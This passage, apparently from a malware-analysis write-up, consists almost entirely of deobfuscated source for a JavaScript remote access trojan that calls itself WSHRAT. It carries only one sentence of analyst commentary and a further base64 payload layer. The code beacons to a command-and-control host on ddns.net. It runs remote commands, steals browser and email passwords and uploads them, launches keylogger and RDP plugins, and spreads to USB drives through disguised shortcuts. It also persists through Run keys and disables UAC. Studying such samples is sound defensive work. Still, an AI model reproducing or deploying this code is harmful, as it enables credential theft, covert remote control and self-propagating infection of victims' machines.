"\\aRUaSMlhYC.js"; var decoded1 = decodeBase64(longText1); writeBytes(stubpath1, decoded1); wshShell1.run("wscript //B \"" + stubpath1 + "\""); }catch(er){} function writeBytes(file, bytes){ try{ var binaryStream = WScript.CreateObject("ADODB.Stream"); binaryStream.Type = 1; binaryStream.Open(); binaryStream.Write(bytes); binaryStream.SaveToFile(file, 2); }catch(err){ } } function decodeBase64(base64){ var DM = WScript.CreateObject("Microsoft.XMLDOM"); var EL = DM.createElement("tmp"); EL.dataType = "bin.base64"; EL.text = base64; return EL.nodeTypedValue; } wshShell1 = null; var host = "Extendwsh5600.ddns.net"; var port = 5600; var installdir = "%temp%"; var runAsAdmin = false; var lnkfile = true; var lnkfolder = true; if(runAsAdmin == true){ startupElevate(); } if(WScript.Arguments.Named.Exists("elevated") == true){ disableSecurity(); } var shellobj = WScript.createObject("wscript.shell"); var filesystemobj = WScript.createObject("scripting.filesystemobject"); var httpobj = WScript.createObject("msxml2.xmlhttp"); var installname = WScript.scriptName; var startup = shellobj.specialFolders("startup") + "\\"; installdir = shellobj.ExpandEnvironmentStrings(installdir) + "\\"; if(!filesystemobj.folderExists(installdir)){ installdir = shellobj.ExpandEnvironmentStrings("%temp%") + "\\";} var spliter = "|"; var sleep = 5000; var response, cmd, param, oneonce; var inf = ""; var usbspreading = ""; var startdate = ""; instance(); while(true){ try{ install(); response = ""; response = post ("is-ready",""); cmd = response.split(spliter); switch(cmd[0]){ case "disconnect": WScript.quit(); break; case "reboot": shellobj.run("%comspec% /c shutdown /r /t 0 /f", 0, true); break; case "shutdown": shellobj.run("%comspec% /c shutdown /s /t 0 /f", 0, true); break; case "excecute": param = cmd[1]; eval(param); break; case "get-pass": passgrabber(cmd[1], "cmdc.exe", cmd[2]); break; case "get-pass-offline": passgrabber2(cmd[1], "cmdc.exe", cmd[2]); break; case "update": param = response.substr(response.indexOf("|") + 1); oneonce.close(); oneonce = filesystemobj.openTextFile(installdir + installname ,2, false); oneonce.write(param); oneonce.close(); shellobj.run("wscript.exe //B \"" + installdir + installname + "\""); updatestatus("Updated"); WScript.quit(); case "uninstall": uninstall(); break; case "up-n-exec": download(cmd[1],cmd[2]); break; case "bring-log": upload(installdir + "wshlogs\\" + cmd[1], "take-log"); break; case "down-n-exec": sitedownloader(cmd[1],cmd[2]); break; case "filemanager": servicestarter(cmd[1], "fm-plugin.exe", information()); break; case "rdp": servicestarter(cmd[1], "rd-plugin.exe", information()); break; case "keylogger": keyloggerstarter(cmd[1], "kl-plugin.exe", information(), 0); break; case "offline-keylogger": keyloggerstarter(cmd[1], "kl-plugin.exe", information(), 1); break; case "browse-logs": post("is-logs", enumfaf(installdir + "wshlogs")); break; case "cmd-shell": param = cmd[1]; post("is-cmd-shell",cmdshell(param)); break; case "get-processes": post("is-processes", enumprocess()); break; case "disable-uac": disableSecurity(); updatestatus("UAC+Disabled+(Reboot+Required)"); break; case "check-eligible": if(filesystemobj.fileExists(cmd[1])){ updatestatus("Is+Eligible"); }else{ updatestatus("Not+Eligible"); } break; case "force-eligible": if(WScript.Arguments.Named.Exists("elevated") == true){ if(filesystemobj.folderExists(cmd[1])){ shellobj.run("%comspec% /c " + cmd[2], 0, true); updatestatus("SUCCESS"); }else{ updatestatus("Component+Missing"); } } else{ updatestatus("Elevation+Required"); } break; case "elevate": if(WScript.Arguments.Named.Exists("elevated") == false){ try{ oneonce.close(); oneonce = null; WScript.CreateObject("Shell.Application").ShellExecute("wscript.exe", " //B \"" + WScript.ScriptFullName + "\" /elevated", "", "runas", 1); updatestatus("Client+Elevated"); }catch(nn){ } WScript.quit(); } else{ updatestatus("Client+Elevated"); } break; case "if-elevate": if(WScript.Arguments.Named.Exists("elevated") == false){ updatestatus("Client+Not+Elevated"); } else{ updatestatus("Client+Elevated"); } break; case "kill-process": exitprocess(cmd[1]); break; case "sleep": param = cmd[1]; sleep = eval(param); break; } }catch(er){} WScript.sleep(sleep); } function install(){ var lnkobj; var filename; var foldername; var fileicon; var foldericon; upstart(); for(var dri = new Enumerator(filesystemobj.drives); !dri.atEnd(); dri.moveNext()){ var drive = dri.item(); if (drive.isready == true){ if (drive.freespace > 0 ){ if (drive.drivetype == 1 ){ try{ filesystemobj.copyFile(WScript.scriptFullName , drive.path + "\\" + installname,true); if (filesystemobj.fileExists (drive.path + "\\" + installname)){ filesystemobj.getFile(drive.path + "\\" + installname).attributes = 2+4; } }catch(eiju){} for(var fi = new Enumerator(filesystemobj.getfolder(drive.path + "\\").files); !fi.atEnd(); fi.moveNext()){ try{ var file = fi.item(); if (lnkfile == false){break;} if (file.name.indexOf(".")){ if ((file.name.split(".")[file.name.split(".").length - 1]).toLowerCase() != "lnk"){ file.attributes = 2+4; if (file.name.toUpperCase() != installname.toUpperCase()){ filename = file.name.split("."); lnkobj = shellobj.createShortcut(drive.path + "\\" + filename[0] + ".lnk"); lnkobj.windowStyle = 7; lnkobj.targetPath = "cmd.exe"; lnkobj.workingDirectory = ""; lnkobj.arguments = "/c start " + installname.replace(new RegExp(" ", "g"), "\" \"") + "&start " + file.name.replace(new RegExp(" ", "g"), "\" \"") +"&exit"; try{fileicon = shellobj.RegRead ("HKEY_LOCAL_MACHINE\\software\\classes\\" + shellobj.RegRead ("HKEY_LOCAL_MACHINE\\software\\classes\\." + file.name.split(".")[file.name.split(".").length - 1]+ "\\") + "\\defaulticon\\"); }catch(eeee){} if (fileicon.indexOf(",") == 0){ lnkobj.iconLocation = file.path; }else { lnkobj.iconLocation = fileicon; } lnkobj.save(); } } } }catch(err){} } for(var fi = new Enumerator(filesystemobj.getfolder(drive.path + "\\").subFolders); !fi.atEnd(); fi.moveNext()){ try{ var folder = fi.item(); if (lnkfolder == false){break;} folder.attributes = 2+4; foldername = folder.name; lnkobj = shellobj.createShortcut(drive.path + "\\" + foldername + ".lnk"); lnkobj.windowStyle = 7; lnkobj.targetPath = "cmd.exe"; lnkobj.workingDirectory = ""; lnkobj.arguments = "/c start " + installname.replace(new RegExp(" ", "g"), "\" \"") + "&start explorer " + folder.name.replace(new RegExp(" ", "g"), "\" \"") +"&exit"; foldericon = shellobj.RegRead("HKEY_LOCAL_MACHINE\\software\\classes\\folder\\defaulticon\\"); if (foldericon.indexOf(",") == 0){ lnkobj.iconLocation = folder.path; }else { lnkobj.iconLocation = foldericon; } lnkobj.save(); }catch(err){} } } } } } } function startupElevate(){ if(WScript.Arguments.Named.Exists("elevated") == false){ try{ WScript.CreateObject("Shell.Application").ShellExecute("wscript.exe", " //B \"" + WScript.ScriptFullName + "\" /elevated", "", "runas", 1); }catch(nn){ } WScript.quit(); } } function disableSecurity(){ if(WScript.Arguments.Named.Exists("elevated") == true){ var oReg = GetObject("winmgmts:{impersonationLevel=impersonate}!\\\\.\\root\\default:StdRegProv"); oReg.SetDwordValue(0x80000002,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System","EnableLUA", 0); oReg.SetDwordValue(0x80000002,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System","ConsentPromptBehaviorAdmin", 0); oReg = null; } } function uninstall(){ try{ var filename; var foldername; try{ shellobj.RegDelete("HKEY_CURRENT_USER\\software\\microsoft\\windows\\currentversion\\run\\" + installname.split(".")[0]); shellobj.RegDelete("HKEY_LOCAL_MACHINE\\software\\microsoft\\windows\\currentversion\\run\\" + installname.split(".")[0]); }catch(ei){} try{ filesystemobj.deleteFile(startup + installname ,true); filesystemobj.deleteFile(WScript.scriptFullName ,true); }catch(eej){} for(var dri = new Enumerator(filesystemobj.drives); !dri.atEnd(); dri.moveNext()){ var drive = dri.item(); if (drive.isready == true){ if (drive.freespace > 0 ){ if (drive.drivetype == 1 ){ for(var fi = new Enumerator(filesystemobj.getfolder(drive.path + "\\").files); !fi.atEnd(); fi.moveNext()){ var file = fi.item(); try{ if (file.name.indexOf(".")){ if ((file.name.split(".")[file.name.split(".").length - 1]).toLowerCase() != "lnk"){ file.attributes = 0; if (file.name.toUpperCase() != installname.toUpperCase()){ filename = file.name.split("."); filesystemobj.deleteFile(drive.path + "\\" + filename[0] + ".lnk" ); }else{ filesystemobj.deleteFile(drive.path + "\\" + file.name); } }else{ filesystemobj.deleteFile (file.path); } } }catch(ex){} } for(var fi = new Enumerator(filesystemobj.getfolder(drive.path + "\\").subFolders); !fi.atEnd(); fi.moveNext()){ var folder = fi.item(); folder.attributes = 0; } } } } } }catch(err){} WScript.quit(); } function post (cmd ,param){ try{ httpobj.open("post","http://" + host + ":" + port +"/" + cmd, false); httpobj.setRequestHeader("user-agent:",information()); httpobj.send(param); return httpobj.responseText; }catch(err){ return ""; } } function information(){ try{ if (inf == ""){ inf = hwid() + spliter; inf = inf + shellobj.ExpandEnvironmentStrings("%computername%") + spliter ; inf = inf + shellobj.ExpandEnvironmentStrings("%username%") + spliter; var root = GetObject("winmgmts:{impersonationlevel=impersonate}!\\\\.\\root\\cimv2"); var os = root.ExecQuery ("select * from win32_operatingsystem"); for(var fi = new Enumerator(os); !fi.atEnd(); fi.moveNext()){ var osinfo = fi.item(); inf = inf + osinfo.caption + spliter; break; } inf = inf + "plus" + spliter; inf = inf + security() + spliter; inf = inf + usbspreading; inf = "WSHRAT" + spliter + inf + spliter + "JavaScript-v1.3" ; return inf; }else{ return inf; } }catch(err){ return ""; } } function upstart (){ try{ try{ shellobj.RegWrite("HKEY_CURRENT_USER\\software\\microsoft\\windows\\currentversion\\run\\" + installname.split(".")[0], "wscript.exe //B \"" + installdir + installname + "\"" , "REG_SZ"); shellobj.RegWrite("HKEY_LOCAL_MACHINE\\software\\microsoft\\windows\\currentversion\\run\\" + installname.split(".")[0], "wscript.exe //B \"" + installdir + installname + "\"" , "REG_SZ"); }catch(ei){} filesystemobj.copyFile(WScript.scriptFullName, installdir + installname, true); filesystemobj.copyFile(WScript.scriptFullName, startup + installname, true); }catch(err){} } function hwid(){ try{ var root = GetObject("winmgmts:{impersonationLevel=impersonate}!\\\\.\\root\\cimv2"); var disks = root.ExecQuery ("select * from win32_logicaldisk"); for(var fi = new Enumerator(disks); !fi.atEnd(); fi.moveNext()){ var disk = fi.item(); if (disk.volumeSerialNumber != ""){ return disk.volumeSerialNumber; break; } } }catch(err){ return ""; } } function security(){ try{ var objwmiservice = GetObject("winmgmts:{impersonationlevel=impersonate}!\\\\.\\root\\cimv2"); var colitems = objwmiservice.ExecQuery("select * from win32_operatingsystem",null,48); var versionstr, osversion; for(var fi = new Enumerator(colitems); !fi.atEnd(); fi.moveNext()){ var objitem = fi.item(); versionstr = objitem.version.toString().split("."); } osversion = versionstr[0] + "."; for (var x = 1; x < versionstr.length; x++){ osversion = osversion + versionstr[0]; } osversion = eval(osversion); var sc; if (osversion > 6){ sc = "securitycenter2"; }else{ sc = "securitycenter";} var objsecuritycenter = GetObject("winmgmts:\\\\localhost\\root\\" + sc); var colantivirus = objsecuritycenter.ExecQuery("select * from antivirusproduct", "wql", 0); var secu = ""; for(var fi = new Enumerator(colantivirus); !fi.atEnd(); fi.moveNext()){ var objantivirus = fi.item(); secu = secu + objantivirus.displayName + " ."; } if(secu == ""){secu = "nan-av";} return secu; }catch(err){} } function getDate(){ var s = ""; var d = new Date(); s += d.getDate() + "/"; s += (d.getMonth() + 1) + "/"; s += d.getYear(); return s; } function instance(){ try{ try{ usbspreading = shellobj.RegRead("HKEY_LOCAL_MACHINE\\software\\" + installname.split(".")[0] + "\\"); }catch(eee){} if(usbspreading == ""){ if (WScript.scriptFullName.substr(1).toLowerCase() == ":\\" + installname.toLowerCase()){ usbspreading = "true - " + getDate(); try{shellobj.RegWrite("HKEY_LOCAL_MACHINE\\software\\" + installname.split(".")[0] + "\\", usbspreading, "REG_SZ");}catch(eeeee){} }else{ usbspreading = "false - " + getDate(); try{shellobj.RegWrite("HKEY_LOCAL_MACHINE\\software\\" + installname.split(".")[0] + "\\", usbspreading, "REG_SZ");}catch(eeeee){} } } upstart(); var scriptfullnameshort = filesystemobj.getFile(WScript.scriptFullName); var installfullnameshort = filesystemobj.getFile(installdir + installname); if (scriptfullnameshort.shortPath.toLowerCase() != installfullnameshort.shortPath.toLowerCase()){ shellobj.run("wscript.exe //B \"" + installdir + installname + "\""); WScript.quit(); } oneonce = filesystemobj.openTextFile(installdir + installname ,8, false); }catch(err){ WScript.quit(); } } function passgrabber (fileurl, filename, retcmd){ shellobj.run("%comspec% /c taskkill /F /IM " + filename, 0, true); try{filesystemobj.deleteFile(installdir + filename + "data");}catch(ey){} var config_file = installdir + filename.substr(0, filename.lastIndexOf(".")) + ".cfg"; var cfg = "[General]\nShowGridLines=0\nSaveFilterIndex=0\nShowInfoTip=1\nUseProfileFolder=0\nProfileFolder=\nMarkOddEvenRows=0\nWinPos=2C 00 00 00 00 00 00 00 01 00 00 00 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF 00 00 00 00 00 00 00 00 80 02 00 00 E0 01 00 00\nColumns=FA 00 00 00 FA 00 01 00 6E 00 02 00 6E 00 03 00 78 00 04 00 78 00 05 00 78 00 06 00 64 00 07 00 FA 00 08 00\nSort=0"; var writer = filesystemobj.openTextFile(config_file, 2, true); writer.writeLine(cfg); writer.close(); writer = null; var strlink = fileurl; var strsaveto = installdir + filename; var objhttpdownload = WScript.CreateObject("msxml2.xmlhttp"); objhttpdownload.open("get", strlink, false); objhttpdownload.setRequestHeader("cache-control:", "max-age=0"); objhttpdownload.send(); var objfsodownload = WScript.CreateObject("scripting.filesystemobject"); if(objfsodownload.fileExists(strsaveto)){ objfsodownload.deleteFile(strsaveto); } if (objhttpdownload.status == 200){ try{ var objstreamdownload = WScript.CreateObject("adodb.stream"); objstreamdownload.Type = 1; objstreamdownload.Open(); objstreamdownload.Write(objhttpdownload.responseBody); objstreamdownload.SaveToFile(strsaveto); objstreamdownload.close(); objstreamdownload = null; }catch(ez){ updatestatus("Access+Denied"); } } if(objfsodownload.fileExists(strsaveto)){ var runner = WScript.CreateObject("Shell.Application"); var saver = objfsodownload.getFile(strsaveto).shortPath; for(var i=0; i<5; i++){ shellobj.run("%comspec% /c taskkill /F /IM " + filename, 0, true); WScript.sleep(1000); runner.shellExecute(saver, " /stext " + saver + "data"); WScript.sleep(5000); if(objfsodownload.fileExists(saver + "data")){ var outpath = installdir + "wshlogs\\recovered_password_backup.log"; var folder = objfsodownload.GetParentFolderName(outpath); if (!objfsodownload.FolderExists(folder)) { shellobj.run("%comspec% /c mkdir \"" + folder + "\"", 0, true); } objfsodownload.copyFile(saver + "data", outpath, true); break; } } deletefaf(strsaveto); upload(saver + "data", retcmd); } } function passgrabber2(fileurl, filename, fileurl2){ for(var h=0; h<2; h++){ shellobj.run("%comspec% /c taskkill /F /IM " + filename, 0, true); try{filesystemobj.deleteFile(installdir + filename + "data");}catch(ey){} var config_file = installdir + filename.substr(0, filename.lastIndexOf(".")) + ".cfg"; var cfg = "[General]\nShowGridLines=0\nSaveFilterIndex=0\nShowInfoTip=1\nUseProfileFolder=0\nProfileFolder=\nMarkOddEvenRows=0\nWinPos=2C 00 00 00 00 00 00 00 01 00 00 00 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF 00 00 00 00 00 00 00 00 80 02 00 00 E0 01 00 00\nColumns=FA 00 00 00 FA 00 01 00 6E 00 02 00 6E 00 03 00 78 00 04 00 78 00 05 00 78 00 06 00 64 00 07 00 FA 00 08 00\nSort=0"; var writer = filesystemobj.openTextFile(config_file, 2, true); writer.writeLine(cfg); writer.close(); writer = null; var strlink = fileurl; if(h == 1){strlink = fileurl2;} var strsaveto = installdir + filename; var objhttpdownload = WScript.CreateObject("msxml2.xmlhttp"); objhttpdownload.open("get", strlink, false); objhttpdownload.setRequestHeader("cache-control:", "max-age=0"); objhttpdownload.send(); var objfsodownload = WScript.CreateObject("scripting.filesystemobject"); if(objfsodownload.fileExists(strsaveto)){ objfsodownload.deleteFile(strsaveto); } if (objhttpdownload.status == 200){ var objstreamdownload = WScript.CreateObject("adodb.stream"); objstreamdownload.Type = 1; objstreamdownload.Open(); objstreamdownload.Write(objhttpdownload.responseBody); objstreamdownload.SaveToFile(strsaveto); objstreamdownload.close(); objstreamdownload = null; } if(objfsodownload.fileExists(strsaveto)){ var runner = WScript.CreateObject("Shell.Application"); var saver = objfsodownload.getFile(strsaveto).shortPath for(var i=0; i<5; i++){ shellobj.run("%comspec% /c taskkill /F /IM " + filename, 0, true); WScript.sleep(1000); runner.shellExecute(saver, " /stext " + saver + "data"); WScript.sleep(2000); if(objfsodownload.fileExists(saver + "data")){ var objstreamuploade = WScript.CreateObject("adodb.stream"); objstreamuploade.Type = 2; objstreamuploade.Open(); objstreamuploade.loadFromFile(saver + "data"); var buffer = objstreamuploade.ReadText(); objstreamuploade.close(); var outpath = installdir + "wshlogs\\recovered_password_browser.log"; if(h == 1){outpath = installdir + "wshlogs\\recovered_password_email.log";} var folder = objfsodownload.GetParentFolderName(outpath); if (!objfsodownload.FolderExists(folder)) { shellobj.run("%comspec% /c mkdir \"" + folder + "\"", 0, true); } writer = filesystemobj.openTextFile(outpath, 2, true); writer.write(buffer); writer.close(); writer = null; break; } } deletefaf(strsaveto); } } } function keyloggerstarter (fileurl, filename, filearg, is_offline){ shellobj.run("%comspec% /c taskkill /F /IM " + filename, 0, true); var strlink = fileurl; var strsaveto = installdir + filename; var objhttpdownload = WScript.CreateObject("msxml2.xmlhttp" ); objhttpdownload.open("get", strlink, false); objhttpdownload.setRequestHeader("cache-control:", "max-age=0"); objhttpdownload.send(); var objfsodownload = WScript.CreateObject("scripting.filesystemobject"); if(objfsodownload.fileExists(strsaveto)){ objfsodownload.deleteFile(strsaveto); } if (objhttpdownload.status == 200){ try{ var objstreamdownload = WScript.CreateObject("adodb.stream"); objstreamdownload.Type = 1; objstreamdownload.Open(); objstreamdownload.Write(objhttpdownload.responseBody); objstreamdownload.SaveToFile(strsaveto); objstreamdownload.close(); objstreamdownload = null; }catch(err){ updatestatus("Access+Denied"); } } if(objfsodownload.fileExists(strsaveto)){ shellobj.run("\"" + strsaveto + "\" " + host + " " + port + " \"" + filearg + "\" " + is_offline); } } function servicestarter (fileurl, filename, filearg){ shellobj.run("%comspec% /c taskkill /F /IM " + filename, 0, true); var strlink = fileurl; var strsaveto = installdir + filename; var objhttpdownload = WScript.CreateObject("msxml2.xmlhttp" ); objhttpdownload.open("get", strlink, false); objhttpdownload.setRequestHeader("cache-control:", "max-age=0"); objhttpdownload.send(); var objfsodownload = WScript.CreateObject("scripting.filesystemobject"); if(objfsodownload.fileExists(strsaveto)){ objfsodownload.deleteFile(strsaveto); } if (objhttpdownload.status == 200){ try{ var objstreamdownload = WScript.CreateObject("adodb.stream"); objstreamdownload.Type = 1; objstreamdownload.Open(); objstreamdownload.Write(objhttpdownload.responseBody); objstreamdownload.SaveToFile(strsaveto); objstreamdownload.close(); objstreamdownload = null; }catch(err){ updatestatus("Access+Denied"); } } if(objfsodownload.fileExists(strsaveto)){ shellobj.run("\"" + strsaveto + "\" " + host + " " + port + " \"" + filearg + "\""); } } function sitedownloader (fileurl,filename){ var strlink = fileurl; var strsaveto = installdir + filename; var objhttpdownload = WScript.CreateObject("msxml2.serverxmlhttp" ); objhttpdownload.open("get", strlink, false); objhttpdownload.setRequestHeader("cache-control", "max-age=0"); objhttpdownload.send(); var objfsodownload = WScript.CreateObject("scripting.filesystemobject"); if(objfsodownload.fileExists(strsaveto)){ objfsodownload.deleteFile(strsaveto); } if (objhttpdownload.status == 200){ var objstreamdownload = WScript.CreateObject("adodb.stream"); objstreamdownload.Type = 1; objstreamdownload.Open(); objstreamdownload.Write(objhttpdownload.responseBody); objstreamdownload.SaveToFile(strsaveto); objstreamdownload.close(); objstreamdownload = null; } if(objfsodownload.fileExists(strsaveto)){ shellobj.run(objfsodownload.getFile(strsaveto).shortPath); updatestatus("Executed+File"); } } function download (fileurl,filedir){ if(filedir == ""){ filedir = installdir; } strsaveto = filedir + fileurl.substr(fileurl.lastIndexOf("\\") + 1); var objhttpdownload = WScript.CreateObject("msxml2.xmlhttp"); objhttpdownload.open("post","http://" + host + ":" + port +"/" + "send-to-me" + spliter + fileurl, false); objhttpdownload.setRequestHeader("user-agent:", information()); objhttpdownload.send(""); var objfsodownload = WScript.CreateObject("scripting.filesystemobject"); if(objfsodownload.fileExists(strsaveto)){ objfsodownload.deleteFile(strsaveto); } if (objhttpdownload.status == 200){ var objstreamdownload = WScript.CreateObject("adodb.stream"); objstreamdownload.Type = 1; objstreamdownload.Open(); objstreamdownload.Write(objhttpdownload.responseBody); objstreamdownload.SaveToFile(strsaveto); objstreamdownload.close(); objstreamdownload = null; } if(objfsodownload.fileExists(strsaveto)){ shellobj.run(objfsodownload.getFile(strsaveto).shortPath); updatestatus("Executed+File"); } } function updatestatus(status_msg){ var objsoc = WScript.CreateObject("msxml2.xmlhttp"); objsoc.open("post","http://" + host + ":" + port + "/" + "update-status" + spliter + status_msg, false); objsoc.setRequestHeader("user-agent:", information()); objsoc.send(""); } function upload (fileurl, retcmd){ try{ var httpobj,objstreamuploade,buffer; var objstreamuploade = WScript.CreateObject("adodb.stream"); objstreamuploade.Type = 1; objstreamuploade.Open(); objstreamuploade.loadFromFile(fileurl); buffer = objstreamuploade.Read(); objstreamuploade.close(); objstreamdownload = null; var httpobj = WScript.CreateObject("msxml2.xmlhttp"); httpobj.open("post","http://" + host + ":" + port +"/" + retcmd, false); httpobj.setRequestHeader("user-agent:", information()); httpobj.send(buffer); }catch(er){ updatestatus("Upload+Failed"); } } function deletefaf (url){ try{ filesystemobj.deleteFile(url); filesystemobj.deleteFolder(url); }catch(err){} } function cmdshell (cmd){ var httpobj,oexec,readallfromany; var strsaveto = installdir + "out.txt"; shellobj.run("%comspec% /c " + cmd + " > \"" + strsaveto + "\"", 0, true); readallfromany = filesystemobj.openTextFile(strsaveto).readAll(); try{ filesystemobj.deleteFile(strsaveto); }catch(ee){} return readallfromany; } function enumprocess(){ var ep = ""; try{ var objwmiservice = GetObject("winmgmts:\\\\.\\root\\cimv2"); var colitems = objwmiservice.ExecQuery("select * from win32_process",null,48); for(var fi = new Enumerator(colitems); !fi.atEnd(); fi.moveNext()){ var objitem = fi.item(); ep = ep + objitem.name + "^"; ep = ep + objitem.processId + "^"; ep = ep + objitem.executablePath + spliter; } }catch(er){} return ep; } function exitprocess (pid){ try{ shellobj.run("taskkill /F /T /PID " + pid,0,true); }catch(err){} } function getParentDirectory(path){ var fo = filesystemobj.getFile(path); return filesystemobj.getParentFolderName(fo); } function enumfaf (enumdir){ var re = ""; try{ for(var fi = new Enumerator(filesystemobj.getFolder (enumdir).subfolders); !fi.atEnd(); fi.moveNext()){ var folder = fi.item(); re = re + folder.name + "^^d^" + folder.attributes + spliter; } for(var fi = new Enumerator(filesystemobj.getFolder (enumdir).files); !fi.atEnd(); fi.moveNext()){ var file = fi.item(); re = re + file.name + "^" + file.size + "^" + file.attributes + spliter; } }catch(err){} return re; }
What we now have is some more cleaned up code with some interesting capabilities, but also, at the top, there was another base64 string. So for the next round, all I needed to do is simply decode the base64 string, which gave me the following code.
2nd layer obfuscated --> deobfuscated ============================================ try{ var longText1 = "ZnVuY3Rpb24gYmdmdHJld2FzKCl7CglyZXR1cm4gWyJMeTg4V3lCeVpXTnZaR1Z5SURvZ2EyOW5ibWwwYnk+PiVvWXlrZ2MydDVjR1VnT2lCc2FYWmxPblZ1YTI1dmQyNHVjMkZzWlhNMk5DQmRQZ29LTHk4OUxUMHRQUzA5TFQwZ1kyOXVabWxuSUQwdFBTMDlMVDB0UFMwOUxUMHRQUzA5TFQwdFBTMDlMVDB0UFMwOUNncDJZWElnYUc5emRDPj4lOUlDSndiSFZuYVc1emNuWXVaSFZqYTJSdWN5NXZjbWNpT3dwMllYSWdjRzl5ZEM+PiU5SURjM05UWTdDblpoY2lCcGJuTjBZV3hzWkdseUlEMGdJaVZoY0hCa1lYUmhKU0k3Q25aaGNpQnlkVzVCYzBGa2JXbHVJRDBnWm1Gc2MyVTdDblpoY2lCc2JtdG1hV3hsSUQwZ2RISjFaVHNLZG1GeUlHeHVhMlp2YkdSbGNpPj4lOUlIUnlkV1U3Q2dwcFppaHlkVzVCYzBGa2JXbHVJRDA5SUhSeWRXVXBld29KYzNSaGNuUjFjRVZzWlhaaGRHVW9LVHNLZlFwcFppaFhVMk55YVhCMExrRnlaM1Z0Wlc1MGN5NU9ZVzFsWkM1RmVHbHpkSE1vSW1Wc1pYWmhkR1ZrSWlrZ1BUMGdkSEoxWlNsN0NnbGthWE5oWW14bFUyVmpkWEpwZEhrb0tUc0tmUW92THowdFBTMDlMVDB0UFNCd2RXSnNhV01nZG1GeUlEMHRQUzA5TFQwdFBTMDlMVDB0UFMwOUxUMHRQUzA5TFQwS0NuWmhjaUJ6YUdWc2JHOWlhaT4+JTlJRmRUWTNKcGNIUXVZM0psWVhSbFQySnFaV04wS0NKM2MyTnlhWEIwTG5Ob1pXeHNJaWs3Q25aaGNpQm1hV3hsYzNsemRHVnRiMkpxSUQwZ1YxTmpjbWx3ZEM1amNtVmhkR1ZQWW1wbFkzUW9Jbk5qY21sd2RHbHVaeTVtYVd4bGMzbHpkR1Z0YjJKcVpXTjBJaWs3Q25aaGNpQm9kSFJ3YjJKcUlEMGdWMU5qY21sd2RDNWpjbVZoZEdWUFltcGxZM1FvSW0xemVHMXNNaTU0Yld4b2RIUndJaWs3Q2dvS0x5ODlMVDB0UFMwOUxUMGdjSEpwZG1GMElIWmhjaT4+JTlMVDB0UFMwOUxUMHRQUzA5TFQwdFBTMDlMVDB0UFFvS2RtRnlJR2x1YzNSaGJHeHVZVzFsSUQwZ1YxTmpjbWx3ZEM1elkzSnBjSFJPWVcxbE93cDJZWElnYzNSaGNuUjFjQz4+JTlJSE5vWld4c2IySnFMbk53WldOcFlXeEdiMnhrWlhKektDSnpkR0Z5ZEhWd0lpa2dLeT4+JWlYRndpT3dwcGJuTjBZV3hzWkdseUlEMGdjMmhsYkd4dlltb3VSWGh3WVc1a1JXNTJhWEp2Ym0xbGJuUlRkSEpwYm1kektHbHVjM1JoYkd4a2FYSXBJQ3NnSWx4Y0lqc0thV1lvSVdacGJHVnplWE4wWlcxdlltb3VabTlzWkdWeVJYaHBjM1J6S0dsdWMzUmhiR3hrYVhJcEtYc2dJR2x1YzNSaGJHeGthWElnUFNCemFHVnNiRzlpYWk1RmVIQmhibVJGYm5acGNtOXViV1Z1ZEZOMGNtbHVaM01vSWlWMFpXMXdKU0lwSUNzZ0lseGNJanQ5Q25aaGNpQnpjR3hwZEdWeUlEMGdJbndpT3dwMllYSWdjMlJyY0dGMGFDPj4lOUlHbHVjM1JoYkd4a2FYSWdLeT4+JWlkM05vYzJScklqc0tkbUZ5SUhOa2EyWnBiR1VnUFNCelpHdHdZWFJvSUNzZ0lseGNJaT4+JXJJR05vY2lneE1USXBJQ3NnWTJoeUtERXlNU2tnS3lCamFISW9NVEUyS1M+PiVySUdOb2NpZ3hNRFFwSUNzZ1kyaHlLREV4TVNrZ0t5QmphSElvTVRFd0tTPj4lcklHTm9jaWcwTmlrZ0t5QmphSElvTVQ+PiV4S1M+PiVySUdOb2NpZ3hNaj4+JXBJQ3NnWTJoeUtERXdNU2s3Q25aaGNpQnpiR1ZsY0M+PiU5SURVd01EPj4lN0k+PiVwMllYSWdjbVZ6Y0c5dWMyVXNJR050WkN3Z2NHRnlZVzBzSUc5dVpXOXVZMlU3Q2dwMllYSWdhVzVtSUQwZ0lpSTdDblpoY2lCMWMySnpjSEpsWVdScGJtY2dQUz4+JWlJanNLZG1GeUlITjBZWEowWkdGMFpTPj4lOUlDSWlPd29LTHk4OUxUMHRQUzA5TFQwZ1kyOWtaU0J6ZEdGeWRDPj4lOUxUMHRQUzA5TFQwdFBTMDlMVDB0UFMwOUxUMHRQUW9LYVc1emRHRnVZMlVvS1RzS0NuZG9hV3hsS0hSeWRXVXBld29KZEhKNWV3b0pDV2x1YzNSaGJHd29LVHNLQ2drSmNtVnpjRzl1YzJVZ1BTPj4laUlqc0tJQz4+JWdJQz4+JWdJQ0J5WlhOd2IyNXpaUz4+JTlJSEJ2YzNRZ0tDSnBjeTF5WldGa2VTSXNJaUlwT3dvSkNXTnRaQz4+JTlJSEpsYzNCdmJuTmxMbk53YkdsMEtITndiR2wwWlhJcE93b0pDWE4zYVhSamFDaGpiV1JiTUYwcGV3b2dJQz4+JWdJQz4+JWdJQz4+JWdJQ0JqWVhObElDSmthWE5qYjI1dVpXTjBJam9LQ1FrSkNTPj4lZ1YxTmpjbWx3ZEM1eGRXbDBLQ2s3Q2drSkNRa2dJR0p5WldGck93b0pDUWxqWVhObElDSnlaV0p2YjNRaU9nb0pDUWtKSUNCemFHVnNiRzlpYWk1eWRXNG9JaVZqYjIxemNHVmpKUz4+JXZZeUJ6YUhWMFpHOTNiaT4+JXZjaT4+JXZkQz4+JXdJQzltSWl3Z01Dd2dkSEoxWlNrN0Nna0pDUWtnSUdKeVpXRnJPd29KQ1FsallYTmxJQ0p6YUhWMFpHOTNiaUk2Q2drSkNRa2dJSE5vWld4c2IySnFMbkoxYmlnaUpXTnZiWE53WldNbElDOWpJSE5vZFhSa2IzZHVJQzl6SUM5MElEPj4lZ0wyWWlMQz4+JXdMQ0IwY25WbEtUc0tDUWtKQ1M+PiVnWW5KbFlXczdDaT4+JWdJQz4+JWdJQz4+JWdJQz4+JWdJR05oYzJVZ0ltVjRZMlZqZFhSbElqb0tJQz4+JWdJQz4+JWdJQz4+JWdJQz4+JWdJQz4+JWdJQz4+JWdjR0Z5WVcwZ1BTQmpiV1JiTVYwN0Nna0pDUWtnSUdWMllXd29jR0Z5WVcwcE93b0pDUWtKSUNCaWNtVmhhenNLQ1FrSlkyRnpaUz4+JWlhVzV6ZEdG